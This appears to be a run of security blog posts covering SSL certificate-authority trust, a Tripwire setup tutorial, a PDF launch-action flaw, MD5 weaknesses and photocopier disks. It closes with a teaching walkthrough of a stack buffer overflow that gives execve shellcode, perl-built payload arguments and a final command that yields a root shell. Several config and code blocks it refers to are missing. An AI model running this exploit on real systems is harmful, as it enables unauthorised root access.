“Earlier this year, we encrypted Gmail for all our users, and next week we will start offering an encrypted version of Google Search.”

An interesting feature, searching via HTTPS will be beneficial to users who are after additional privacy from traffic analysis risks. For example, protection from employers monitoring company LANs or whilst using public wireless networks. Note, Google will still have all your search records, there’s no additional privacy gain in that respect

Now running: https://www.google.com

Modern web browsers contain many ‘root certificates’ these contain the public keys of the various ‘trusted’ certificate authorities that your web browser trusts, and in turn, you trust. Mozilla Firefox for example trusts a few hundred CAs that you are also obliged to trust (Listed in Preferences->Advanced->Encryption->View Certificates). Incidentally, when a CA has its certificate included in a browser’s root certificate list, if you visit an SSL website which that CA has signed then it is an auto-trusted connection and you get the nice secure padlock in your browser with no warnings.

Firstly I will highlight some issues that are inherent in a Public Key Infrastructure (which SSL is based on). So xyz.com goes to a CA (that you have blind trust in) to obtain an SSL certificate. If the CA is any good they will run significant background checks to ensure xyz.com and it’s owners are trusted and that the person applying for the certificate really owns xyz.com. These are some baseline standards you need for this PKI model to be remotely secure.

Now once a certificate has been issued correctly to xyz.com, if that certificate is stolen or leaked then there is a problem because SSL/PKI is traditionally an offline model i.e the CA shouldn’t have to be online. To counter this a CA will use a ‘revocation list’ which is a blacklist of bad certificates. So this list needs to be queried each and everytime an SSL connection is made. This has also been improved with the recent Online Certificate Status Protocol, which essentially queries the CA in real time for blacklisted certificates. All this assumes though that CA has been informed that the private certificate of xyz.com has been compromised. What if it has been covertly leaked or stolen with no one aware? Big problem! Is it always in a companies best financial interest to go public when they get badly hacked?

So so far, you are blindly placing trust in some company you’ve never heard of (because your browser’s developers trust them) that gets paid to issue certificates to people. And if an SSL private key is stolen and your CA doesn’t become aware of it then you could easily be victim to a man-in-the middle attack with no warnings what so ever.

Next, onto the more recent and scary stuff! —–>

In late March, the EFF mentioned some concerns about SSL and state agencies.  Of course this seems completely plausible. Most companies have to cooperate with state-level surveillance if requested. It is something that has never really been discussed before though. The fact that a root-trusted CA might be handing out arbitrary certificates is slightly concerning, and essentially bypasses the high-level encryption involved in the connection.

At the end of March, a study showed it was worryingly easy to purchase an SSL certificate for a domain you don’t own. This highlights the great background checks that the CAs (whom we trust) do on people who approach them to buy certificates… Essentially the researchers created an account with a Web Mail provider with a name like ssladmin@…com then approached a CA (RapidSSL), went through the registration process and had an SSL certificate for that Web Mail domain in 20 minutes! This opens doors to man-in-the-middle attacks with no browser certificate warnings, making the SSL channel encryption useless.

In early April, Mozilla announced there was a root certificate included in Firefox to which they had no idea who owned it. Great! Luckily it turned out to be an old unused one from the RSA security company. If this certificate was owned by a bad guy, any site signed by that CA would be auto trusted by the browser. One would expect Mozilla’s book keeping to be a little better.

Then of course there is the simple fact that users are often oblivious to security warnings, there is a high probability that if I man-in-the-middle an SSL connection with a fake certificate the user will blindly ignore the invalid certificate warning the browser presents them with.

Certainly, whilst SSL is better than nothing you really do have to wonder what is going on behind the little secure padlock icon whilst doing your “Secure Browsing”. Time for something new?

It is built from Linux and Xen, and the basic concept is that everything (applications, kernel components etc) runs within its own light weight virtual machine, a strong implementation of OS level isolation via sandboxing.

That is, assuming the hypervisor isn’t compromised Nice concept though, hopefully development will continue and it hit stable sometime in the near future.

This is a [longish] guide on how to correctly configure and use Tripwire on Linux to improve the OS security. Tripwire is both an Intrusion Detection System and a great admin tool, there is a commercial version of it here but I will be discussing the open source version hosted on Sourceforge.

So in short, you give Tripwire a list of files you want to ‘protect’ and at configured intervals Tripwire scans these files and will alert you of any changes to them. It essentially monitors the integrity of critical files. Consider the scenario where an attacker breaks into your system, one of his goals will be to enable a means for future access. Lets say he does this in a covert manner by writing a backdoor into your FTP server and recompiling it leaving no visible trace. Tripwire could be configured to watch the FTP daemon files and changing a single bit will course an alert to be raised. Sounds pretty useful right? It is. Im told however that Tripwire sees limited deployment in production servers (can’t comment if this is true or not though), some reasons for this may be a) It’s a very paranoid piece of software b) regular file changes can cause an obscene number of false positives.

Tripwire works by using a cryptographic hash function to generate a checksum of specified files, this checksum goes into a database and that database is encrypted. So even if you get rooted, an attacker shouldn’t be able to modify the checksum database (key management issues here!). A hash function will take an arbitrary sized input value (a file) and will output a fixed size hash value. A single bit change in the input should reflect a major change in the outputted hash value (Avalanche Effect), so they make a pretty good way of detecting a modified file

Ok, so this tutorial will configure Tripwire to monitor a system directory and alert if integrity changes. Also, for full effectiveness this should be applied at a fresh install, what’s the point if your files may already be compromised?

I will assume for this example you have some important FTP server files in /root/demoFTP.

Installation:

- Download the Tripwire source & extract

Next we need to edit the install script slightly, edit the file install/install.cfg we need to disable the use of sendmail and enable smtp instead, if you have sendmail running and configured on your server ignore this step. Changed section should look like this (don’t worry about a valid server, I wont be covering email alerts here):

Now we can configure the build process & compile (edit the install directory to your preference):

Next is the installation, run ‘make install’ as root, as part of this we will need to accept the license agreement and configure some passwords for the database.

Ok, so you’ve just entered 2 (strong) passwords:

• Site: Secures configuration and policy files
• Local: Secures database and report files

That’s the installation all done, it’s now installed to /opt/tripwire

Configuration:

The main file we are concerned with is the Tripwire policy file: /opt/tripwire/etc/twpol.txt

Below is my clean, cut down bare essential config for this example (alot of the default comments are left in to explain the syntax. The specific rule for this tutorial is at the bottom.

Our rule (there are also included rules for checking the Tripwire configs & binaries):

This defines a rule to monitor the directory /root/demoFTP, $(ReadOnly) is the property mask and is defined and explained higher in the config (ReadOnly = +pinugtsdbmCM-rlacSH), basically its a very strict rule and stores multiple hashes, file owner information, sizes e.t.c. (recurse=2) tells the rule to recurse to a depth of 2 inside the directory. So a single bit change inside this directory will raise an alert.

In a proper deployment, you would set up rules to monitor all your critical global configs and system binaries, for example: /etc /usr/bin /usr/sbin /home

Next we have to compile this policy file and initialize the database for the first time.

We now have a secured integrity database with full details of /root/demoFTP

Running A Scan & Report Generation::

First for testing purposes change something in a file inside /root/demoFTP, i had a config file inside it and just added some junk to it.

To check the integrity of the files, simply run ‘./tripwire –check’ this will generate a report file. The generated report should show that the integrity of config.txt has changed.

Here is my report:

Clearly the report shows the file “/root/demoFTP/config.txt” has been modified

Updating & Regular Scans:

If you change a file under a monitored directory, you will need to update the database. This is done using an interactive check, run “./tripwire –check –interactive” and the report will be loaded up in vi, here you can edit which files will be updated in the database. Quit vi with :wq and the database will be updated.

Checks should be performed at regular intervals, maybe every couple of hours or once a day depending on factors such as server performance and data sensitivity. Best way to do this is by adding “/opt/tripwire/sbin/tripwire –check” as a system cron job.

Reports will be saved to /opt/lib/tripwire/reports, and you can also get e-mail alerts if you configure smtp or sendmail during installation, I wont go into that though.

Conclusions:

So now Tripwire will monitor /root/demoFTP/* at regular intervals, by reading the reports/alerts we will know if an attacker breaks in and modifies any of these files, apply this idea system-wide to critical files and you have a strong level of integrity acting as an intrusion detection system

Limitations:

Tripwire is reliant on your OS, that is by trusting Tripwire you are trusting your operating system. What can cause mistrust in an OS? A Rootkit! Tripwire reads files when it needs to make an integrity check, if you wanted to you could make a stealth rootkit to hijack the Linux open() syscall, so when the software tries to verify the integrity of an attacker modified file, you redirect the open() call to a hidden old version. Tripwire will ok the hash and be non-the wiser. This attack is discussed in detail here, implemented in a kernel module.

Another limitation to be aware of is the choice of hash function. If you pick a weak hash like MD4 or MD5 with known collision attacks then you are asking for trouble Use something with decent strength > 256bits and you will be significantly better off (SHA-512, Whirlpool).

Didier Stevens found the vulnerability/ design flaw. Essentially it allows you to include executable files within a .pdf file, and auto-execute them as soon as the PDF is viewed! What’s more is that it doesn’t require javascript to be enabled. The PDF format does not allow you to embed binaries, but there is a ‘Launch Action’ which can launch a command, Didier has manipulated this to execute embedded data and he has even managed to manipulate the user warning shown below to display a custom message.

Adobe reader requires user interaction to launch the executable, however Foxit Reader just blindly auto executes it with no user intervention!

Modified warning message:

There is a demo PDF that launches a command prompt, working perfectly on Windows 7 (it wont protect you!). Although he isn’t disclosing the actual vulnerability till it’s fixed. I will put money on it being reverse engineered and in the wild within a few days though.

Short Answer: No, don’t use it any more.

Long Answer:

MD5 has various well documented attacks against it, I will explain these and what they actually mean in terms of its security.

Firstly, and this is often miscited by misinformed ’security people’, MD5 still has full preimage resistance (kind of) (If I give you a 128-bit MD5 hash value, there is no algorithmic attack to find the original input message [ignoring brute force & rainbow tables]). What it does not have, is collision resistance. There is a fine difference between the two, but a significant one.

First preimage attack: Given a hash h, find a message m such that hash(m) = h.

Second preimage attack: Given a fixed message m1, find a different message m2 such that hash(m2) = hash(m1).

Collision Attack: Find m1 and m2 such that hash(m1) = hash(m2)

Chosen-prefix Collision Attack: Find b1 & b2 such that hash(a1 || b1) = hash(a2 || b2)

The difference to be aware of here is that in a second preimage attack, the attacker has to use a fixed input m1. In a collision attack, he has full control over two arbitrary inputs which makes collision searching significantly easier. Note that a chosen-prefix attack is at least as difficult as a classic collision attack, and that a chosen-prefix attack implies a collision attack but not the reverse.

The first theoretical collision attack came in 1995, these attacks developed slowly with increasing efficiency (Schneier named MD5 broken around this time) and in 2008 there was the famous SSL chosen-prefix collision attack on MD5 in X.509 certificates. Certificate Authorities promptly switched from MD5 to a stronger hash function.

The most recent collision attack (I think) is from 2006 in a paper entitle Fast Collision Attack on MD5 which has a complexity of 2^34.1 and can generate collisions in just a few minutes (with certain restrictions on the input).

Today, it remains hard however to find the original m given h = hash(m), this is first preimage resistance. Rainbow tables have some effect on this statement, but are quickly solved by using a suitably sized salt (Always Use Salts!! >64bits if possible) such that h = hash(m || salt). Some would therefore say that it is ok to store hash(password || salt) in a database, I say why risk it when there are significantly better alternatives at the cost of a few bits?

A recent paper from Eurocrypt 2009 presents a full preimage attack with a complexity of 2^116.5, completely infeasible. So although a preimage attack exists, it is not possible in practice with this current complexity level.

In my opinion, 128-bit hashes are a little on the small side today. If you put your paranoid hat on for a second and imagine worst case brute force power, massive rainbow tables are most likely in existence (there are many good ones free on the web!). These tables likely store the hashes of vast dictionaries or common passwords / languages etc as well as a large percentage of the arbitrary hash space.

In conclusion, MD5 has ‘decent-enough’ preimage resistance but has some serious collision vulnerabilities which may or may not effect the application it’s deployed to. Even though MD5 might be safe under certain scenarios, unless you absolutely have to use it for reasons such as backwards compatibility or interoperability don’t. There is no point and as Schneier always says “Attacks never get worse, they only get better”. There are numerous alternatives available today, SHA256, SHA512 and Whirlpool for example are all sensible choices. 

“Modern, large, office-type photocopiers are computers. The whole system is controlled by a computer, it has a hard disk. It scans images and they are stored on the disc,” said Hirst. “They are also networked computers, and they have all the same security issues that a computer does, so all the same security issues arise,”

It’s similar looking back to the old style fax machines that left document imprints on the carbon rolls. Think twice before throwing out old office equipment or sending it off for repairs.

Tools required: Linux x86, perl and GDB

Here’s the simple C program we will exploit (GCC to compile). Assume it will run as root when a standard user executes it (setuid on the executable) and to win we need to get a root shell, from our non-privileged user.

So, here’s what the populateBuffers() function does and why it’s vulnerable. Firstly 31 bytes of argment1 are copied into buffer2, this is correct as remember strings must be null terminated, so byte 32 of buffer2 is the null byte 0×00. Next 32 bytes of argument2 are copied into buffer3, this is bad (an off-by-one error) as the full 32 bytes of buffer3 are filled with the 2nd argument (no null byte). Finally buffer3 is copied into buffer1. The stack frame at the start of populateBuffers() is shown bellow with my excellent art skills.

So, the goal is to overwrite the current instruction pointer (EIP) so it executes some shell code that we inject. Here’s another diagram showing the stack frame with size information.

Ok, so the line strcpy(buffer1, buffer3); will copy right from the first byte of buffer3 to the last byte of buffer2 into buffer1. This is because there is no trailing null byte on buffer3. So now we know we can overflow buffer1 by putting a total of 64 bytes in it, we have control of 63 of these bytes.
The first 32 of the 63 bytes will go into buffer1, then we don’t care about EBP and the final 4 bytes will overwrite EIP. Our shellcode will go into the first 32 bytes of buffer1, then EIP will point to a small NOP sled right at the start of buffer1. We don’t care about anything that comes after EIP.

To summarize so far.

• 31 bytes of arg1 go into buffer2 – Our custom instruction pointer overwrite address will go in here
• 32 bytes of arg2 go into buffer3 – Our shellcode and NOPs will go in here
• buffer3 (including buffer 2) goes into buffer1 -> EIP is overwritten and our shellcode will now execute

Shellcode: The shellcode im going to use is from Milw0rm and it’s 25 bytes long. When executed it will execute /bin/sh and give us a shell

25 byte shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

So buffer3 is 32 bytes, and will house the 25 byte shellcode which means we are left with 7 bytes to use for the NOP sled.

Construction of arg2:

As said, the 2nd argument goes into buffer3 and contains shellcode + nops. It looks as follows using simple perl echoing so it can be entered easily from a shell prompt, 7 NOPs (0×90) and the 25 byte shell code.

$(perl -e ‘print “\x90″x7;’ -e ‘print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80″;’)

buffer3 will now be full, next we do the 1st argument which is more work, we have to find the rough address of our NOP sled to put in the EIP.

Construction of arg1:

Load up our program in GDB: gdb ./program

and disassemble the populateBuffers() function (im using standard Intel syntax not AT&T):

Ok, now we will put a breakpoint where the final strcpy() call is at 0×080483e5, this address will probably vary for you. Then we will run the program using the first argument full of A’s which will be 0×41 in hex, this will be easy to spot in the debugger. The second argument is as described above, we are looking for the address where the NOP sled begins (lots of 0×90 bytes).

Now we need to examine the memory, remember that the stack pointer esp points to the top of our stack just before buffer3. We will examine 40 bytes from the stack pointer:

Clearly the 7 bytes of the nop sled are visible 8 bytes from 0xbfffdc70, so if we overwrite our instruction pointer with address 0xBFFFDC78 it will hit the NOP sled, this isnt ideal as we only have 7 bytes in the sled, and in the might have to +/- a few bytes during execution to actually hit it correctly, but it works (there’s no doubt a better way of constructing this exploit…).

So now we have the 2nd argument, and the address of our shellcode/nops, this can be used to make the first argument. Recall that 31 bytes of arg1 go into buffer2, the first 4 bytes of this will overwrite EBP (with NOPs), and the second 4 will overwrite the EIP, we dont care what comes after that so I will just put some more NOPs. Remember we are working with little-endian, so the return address is entered backwards.

$(perl -e ‘print “\x90×4″;’ -e ‘print “\x78\xDC\xFF\xBF”;’ -e ‘print “\x90″x100;’)

Final Exploit:

So now we have the two crafted arguments to fill buffers 3 and 2, these will then be copied into buffer1 overwriting EIP in the process which will cause our shellcode to execute. Final execution string:

./program $(perl -e ‘print “\x90×4″;’ -e ‘print “\x78\xDC\xFF\xBF”;’ -e ‘print “\x90″x100;’) $(perl -e ‘print “\x90″x7;’ -e ‘print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80″;’)

Remember we are using a small nop sled, so you might have to +/- 4 bytes eitherside of the EIP overwrite address, I had to + 4 bytes as I got an illegal instruction error the first time. Here’s the final exploit in action:

Bingo, we have a root shell

Note: if you try this on a modern Linux distribution, you will need to disable ASLR and NX-bit protections.